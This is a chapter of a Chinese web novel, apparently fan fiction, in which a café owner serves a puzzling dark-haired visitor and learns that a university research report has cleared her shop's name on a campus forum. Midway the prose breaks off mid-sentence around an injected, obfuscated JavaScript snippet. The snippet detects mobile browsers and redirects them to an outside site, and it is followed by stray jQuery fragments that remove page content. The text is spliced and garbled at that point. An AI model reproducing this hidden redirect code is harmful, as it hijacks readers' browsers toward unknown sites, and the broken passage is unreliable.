黑发女人极为自来熟地把手里的包往柜台上一放，紧接着拉过旁边一张高脚凳坐下，目光扫过店里的陈设，语气里带着点好奇：“和网上的照片相比，变化还挺大的嘛？”


    “论坛上那些意见我们都收到了，已经一一整改过了，”家入硝子把菜单推到女人面前，从那张毫无波澜的脸上看不出半点压力，“您想来点什么？”


    话音刚落，她的余光就瞥见小林还呆呆地杵在原地，手指不自觉地扣紧了桌上的手机，显然是还没反应过来。


    硝子顿了顿，转头看向她，语气自然地开口：“小林，后厨的烤箱该预热了吧？”


    “烤箱？哦！对对对，我这就去！”小林这才如梦初醒般回过神来，几乎是一溜烟地钻进了后厨。


    恰好医生的地也拖完了，他冲柜台旁的两人点点头，拎着拖把去卫生间清洗。


    一时间，柜台前只剩下家入硝子和那个黑发女人，空气里安静得能听见窗外风吹树叶的声音。


    女人慢悠悠地翻着菜单，语气雀跃：“呀，这个柠檬蛋糕看起来也太诱人了吧？还有这个巧克力泡芙，我也想吃！嗯……选哪个好呢？”


    菜单上的照片都是挑了最赏心悦目的角度拍的，女人蹙着眉，显然是陷入了选择困难。家入硝子适时开口，为她提出建议：“柠檬蛋糕口感更清爽，巧克力那款会更甜一些。看您个人的口味偏好就好。”


    黑发女人拉长尾调“嗯~”了一声，随即“啪”地一声合上菜单，干脆利落地说：“不纠结了！我就在这儿吃柠檬蛋糕，巧克力和原味的泡芙各给我打包一份，另外再给我来一杯生椰拿铁，麻烦多加两块冰块，谢谢！”


    她说着，嘴角弯起一个大大的弧度，像个小太阳似的，瞬间驱散了店里几分冷清。


    家入硝子一边点头应着，一边把她的点单记在便签上，记完便拿着便签，转身去后厨找小林，交代她需要制作的甜品。


    这下，咖啡厅的前厅里只就剩下黑发女人一个人了。她站起身，身体微微倚着吧台，目光慢悠悠地在店里转了一圈，从后厨门上贴着的“动物与外人禁止入内”的标识牌，到墙上挂着的清洁消毒记录本，最后停在窗台上那两只窝在软垫里的毛绒绒身上。


    她笑了笑，放轻脚步走了过去。砂糖的耳朵动了动，显然是早就发现了这个陌生女人，抬起头懒洋洋地看了她一眼。


    女人被发现了也不觉得尴尬，而是双手撑着膝盖微微俯身，放低声音对着面前的缅因猫说话：“你就是砂糖吧？怎么和苏打一起躲在这里偷懒呀？”


    砂糖冲她轻轻地“咪”了一声，声音又短又细，如果有熟人在这里，就会立刻听出来这家伙是在故意夹着嗓子卖萌。


    叫完之后，缅因猫抬起爪子，扒拉了一下旁边正趴着打盹的狐狸。


    苏打还在睡梦中，下午的阳光照在身上暖洋洋地，正是最适合午睡的好时候。它半梦半醒间，猝不及防地对上一张全然陌生的脸，吓得尾巴瞬间炸毛，直接从垫子上弹起来，慌慌张张地跳下窗台跑走了。


    砂糖看着小伙伴落荒而逃的背影，把对方之前压在身下的垫子拽到自己身边，一只长条猫舒舒服服地霸占了两个垫子，颇为得意地晃着尾巴。


    “啊，苏打跑掉了。” 女人语气里没半分失落，反而对着朝她露出柔软肚皮的缅因猫笑了笑，缓缓走回自己的座位上。


    黑发女人的一举一动，都被在后厨做拿铁的硝子透过玻璃看得一清二楚。


    小林凑过来，用手肘捣捣她的侧腹：“硝子姐，你说那姐姐是来干什么的？不会是专门来挑我们黑料的吧？”


    家入硝子收回目光，端起已经做好的生椰拿铁和柠檬蛋糕，淡淡地瞥了小林一眼：“我也不清楚。不过她身上没什么恶意，你正常做甜品就行了。”


    她没有说出口的是，女人在店里转来转去的举动，既像是对店里的一切都充满好奇，又像是在不着痕迹地观察什么。


    小林“哦”了一声，压下心里的忐忑，专心致志地准备起接下来两种口味的泡芙。


    柠檬蛋糕送入嘴里的瞬间，黑发女人的眼睛明显亮了一下，她又喝了一口飘着精致拉花的生椰拿铁，由衷地感慨：“真是美味！我现在总算理解，为什么那么多学生都喜欢来你家喝咖啡了。”


    家入硝子站在一旁，微微颔首，嘴角的弧度却微微上扬了些：“毕竟我们本质上还是咖啡厅，食物要是不过关，自然也开不长久。”


    对方一边“嗯嗯”地应答，一边飞快地嚼着嘴里的蛋糕。她又抬眼看向窗台上的缅因猫和躲起来的狐狸：“它们平时吃什么呀？罐头还是干粮？”


    “是医生专门调配的猫饭，混了不同种类的肉和鸡蛋，有时候会加些蔬菜，营养比较均衡。”


    “那它们吃得也太好了吧！”女人似乎为砂糖和苏打的伙食很好这件事，感到发自内心的欣喜。


    她挥舞着手里的叉子，几口消灭了盘子里的柠檬蛋糕，又将马克杯里的拿铁一饮而尽，一脸满足地双手合十：“谢谢款待，我吃得很开心。”


    恰好这个时候，小林的泡芙也做好了，她小心翼翼地把打包好的泡芙放到柜台上，把写好保质期的贴纸粘在包装袋外面。


    黑发女人爽快地付了钱，拿起自己的包和打包好的泡芙，朝着店里的几人还有小动物们挥了挥手，笑盈盈地说了句“下次还来”，便推门离开了。


    门刚一关上，小林就立刻迫不及待地凑过来：“硝子姐——！你真不认识那个姐姐吗？她看起来好眼熟啊！”


    “说不上来，”家入硝子看向门口，左手下意识地扶着自己的太阳穴，“总觉得在哪里见过，但是完全想不起来了。”


    “欸？怎么你也是这样！”小林一脸诧异。


    硝子收回目光，转身开始收拾起桌上的杯具。比起这个突然冒出来的女人，她对店里接下来的清洁工作更感兴趣。


    几个人一起动手，把今天用过的餐具都好好洗了一遍，放进消毒柜消毒，又专门检查了咖啡厅里容易藏污纳垢的边边角角，就差跟在砂糖和苏打后面，一路扫它俩掉下来的绒毛了。


    最难的就是坚持，他们连着大扫除了好几天，到了晚上，每个人都累得浑身散架，连抬手的力气都快没了。就连小林也没了刷论坛的力气，气若游丝地挎着包，慢吞吞地关上了咖啡厅的门。


    家入硝子在柜台的电脑上登上R大的论坛，点开那个已经刷了几百条消息的帖子，更新了今天的清洁状况。她快速扫了一眼评论区，攻击的和维护的评论五五开，不知道今天的这些照片发出去后，又会有怎样的改变。


    她打了个大大的哈欠，拿起旁边的航空箱，朝着窗台上的两只晃了晃：“回去喽。”


    砂糖立刻精神起来，啪嗒啪嗒地小跑过来，跟颗炮弹似的冲进了航空箱里。苏打紧随其后，先是用爪子推了推砂糖，示意它往旁边挪挪，留出点位置，然后才挤了进去。


    硝子买的这个航空箱挺大的，只要两只不在里面打架的话，就能稳稳当当地放在自行车后座，她一个人骑回去。不然，她一个人拎两个航空箱还是太费力了。


    第二天中午，家入硝子刚到咖啡厅，把两只从航空箱里放出来，就看到小林十分激动地抱着手机冲过来。


    “硝子姐！”这么多天来，她终于又露出了没心没肺的笑容，“你快看论坛上的帖子——惊天大反转哎！”


    家入硝子定睛一看，只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367376|199803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见论坛里不知何时多了一条置顶帖子，发帖人顶着R大论坛认证的教师头衔，还附上了一份调研报告的照片，上面从“隅”咖啡厅的经营状况、卫生状况、食材安全等各个方面，介绍得清清楚楚。报告落款的签名被打了码，但封面上的印章却清清楚楚地表明，这是一份经过R大官方认证的调研报告。


    #1 瑞雪兆丰年


    [图片.jpg][图片.jpg][图片.jpg]


    “调研报告？”家入硝子摸着下巴，眼底满是疑惑，“什么时候来做的调研，我怎么一点印象都没有？”


    她在脑海里把店里的常客过了一遍，最后，几个意想不到的名字突然冒了出来。要说谁最近来这里做过调研，不就只有虎杖、伏黑那几个小学生吗？可小学生做的社会观察报告，怎么会经过R大的官方认证？


    家入硝子这才后知后觉地意识到，自己忽略了一件很重要的事。


    R大附近最出名的小学，当然是R大附小，而附小的社会观察项目，本就是和R大本校合作开展的，这本就是一件再正常不过的事。


    所以那天虎杖和伏黑他们口中的社会观察报告，其实是和R大合作的项目？


    硝子忍不住在心里腹诽，这还真是好运气，居然被他们给碰上了。


    她把自己的猜想一五一十地告诉了医生和小林，小林瞬间恍然大悟，医生则轻轻点头：“我也猜到了，真是麻烦那群孩子了，等他们下次来，可得好好犒劳他们一顿。”


    小林立刻露出死鱼眼，看向医生：“早就猜到了……那你之前怎么不告诉我？害我担心了那么久！”


    “这不是没证据嘛。”医生摊了摊手，笑得一脸温和。


    “我才不信……”说到这里，小林突然拍了下脑袋，“哎呀！还有论坛那个点赞量前十的要求！这两天被恶评搞得晕头转向，我都忘了看了！”


    她赶紧点开论坛的活动页面，耳畔却传来硝子淡淡的声音：“我昨晚看了一眼，我们第九名，比第十名多十七票，刚好能进前十。”


    “太好了！”小林激动得蹦跶了两下，可蹦着蹦着，她突然顿住，眯起眼睛看向硝子，语气里满是怀疑，“等等，硝子姐，你不会就是因为早就知道我们进前十了，所以这几天才一直这么淡定吧？”


    家入硝子正朝着后厨走去，闻言回头看了她一眼，语气里带着几分似是而非的调侃：“谁知道呢？”


    说完，她嘴角微微扬起，转身推开了后厨的门。


    小林站在原地，盯着那扇被合上的门，又猛地转头看向医生：“……不对，你看起来也一点都不吃惊啊！你们是不是早就串通好了？”


    医生正在旁边擦杯子，对上她的目光，一脸无辜：“嗯？有吗？”


    “你们两个怎么都瞒着我！”小林气得跳脚，却又无可奈何。


    “结果就在那里，是你自己一直没点进去看而已。”医生笑着补充了一句。


    “难道就只有我一个人被蒙在鼓里吗？”小林露出一脸受伤的表情，一回头，看见柜台上正蜷着的砂糖和苏打，立刻凑过去，如释重负，“没事，还有你们呢！不是只有我一个人不知道！”


    柜台上的两只毛绒绒闻言，默默地转了个身，眯起眼睛装睡。其实昨晚就跟着硝子一起，查看了点赞名次这种事，还是不要透露给小林了，对吧？


    家入硝子站在后厨门口，听着外面小林的哀嚎，眯起眼睛笑得开心。这几天的紧绷和疲惫，好像都在这一刻烟消云散了。


    可这份笑意没持续多久，她的脑子里又不由自主地闪过那个黑发女人的脸，陷入沉思之中。


    到底是在哪里见过呢？那种似曾相识感，实在是太强烈了。